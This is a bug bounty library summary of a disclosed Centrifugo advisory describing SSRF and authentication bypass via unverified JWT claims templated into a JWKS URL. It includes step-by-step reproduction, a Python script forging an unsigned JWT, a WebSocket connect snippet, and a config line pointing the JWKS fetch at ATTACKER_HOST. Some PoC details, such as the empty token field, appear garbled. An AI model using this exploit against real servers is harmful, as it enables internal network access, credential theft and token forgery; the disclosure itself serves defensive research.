# Centrifugo: SSRF via unverified JWT claims interpolated into dynamic JWKS endpoint URL

Centrifugo interpolates unverified JWT iss/aud claims into a templated JWKS URL, letting an unauthenticated attacker trigger SSRF and forge tokens.

- Payout: Research
- Severity: critical
- Program: Centrifugo
- Found by: VarshankNaik
- Disclosed: 2026-03-13
- CVE: CVE-2026-32301
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-j77h-rr39-c552
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-j77h-rr39-c552
- Tags: area:web domain:web impact:ato impact:internal-access kind:research platform:ghsa sev:critical tech:go tech:jwt technique:source-review vuln:auth-bypass vuln:ssrf

**Target:** Centrifugo WebSocket connect endpoint / JWKS fetcher
**Root cause:** Token is parsed with ParseNoVerify and claims are extracted into tokenVars before signature verification; those attacker-controlled vars are interpolated into the JWKS URL and fetched.
**Steps:**
1. Configure `jwks_public_endpoint` with `{{tenant}}` template and `issuer_regex` with named capture group `(?P<tenant>...)`
2. Craft unsigned JWT with `iss` matching regex, e.g. `evil-tenant.auth.example.com`, fake signature
3. Send token in `connect` message over `ws://TARGET:8000/connection/websocket`
4. Observe outbound GET `/evil-tenant/.well-known/jwks.json` on attacker listener
**How found:** Code review of token_verifier_jwt.go revealed ParseNoVerify and validateClaims populating tokenVars before verifySignatureByJWK; noted the incorrect `//nolint:gosec` comment claiming URL is server-config only.
**Exploitation:** Attacker sends unauthenticated connect token; Centrifugo fetches attacker-controlled JWKS URL, enabling internal network probing, cloud metadata credential theft, and serving attacker public key to forge valid tokens for full auth bypass.
**Escalation:** Serve malicious JWKS response with attacker's public key so Centrifugo accepts attacker-signed tokens, escalating SSRF to full authentication bypass.
**Insight:** When a URL is built from template variables, trace every variable's source; JWT claims parsed pre-verification are attacker-controlled. Grep for nolint:gosec comments asserting 'not user input' as a smell.

## Proof of concept (copied exactly from the original report)

**Malicious unsigned JWT generation script**

```
import base64, json

def b64url(data):
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

header  = b'{"alg":"RS256","kid":"test-kid","typ":"JWT"}'
payload = b'{"sub":"attacker","iss":"evil-tenant.auth.example.com","exp":9999999999}'
token   = f"{b64url(header)}.{b64url(payload)}.fakesig"
print(token)
```

**WebSocket connect request with malicious token**

```
import websocket, json
ws = websocket.create_connection("ws://TARGET:8000/connection/websocket")
ws.send(json.dumps({"id": 1, "connect": {"token": ""}}))
print(ws.recv())
```

**Vulnerable config with templated JWKS endpoint**

```
"jwks_public_endpoint": "http://ATTACKER_HOST:8888/{{tenant}}/.well-known/jwks.json",
      "issuer_regex": "^(?P[a-zA-Z0-9_-]+)\\.auth\\.example\\.com$"
```

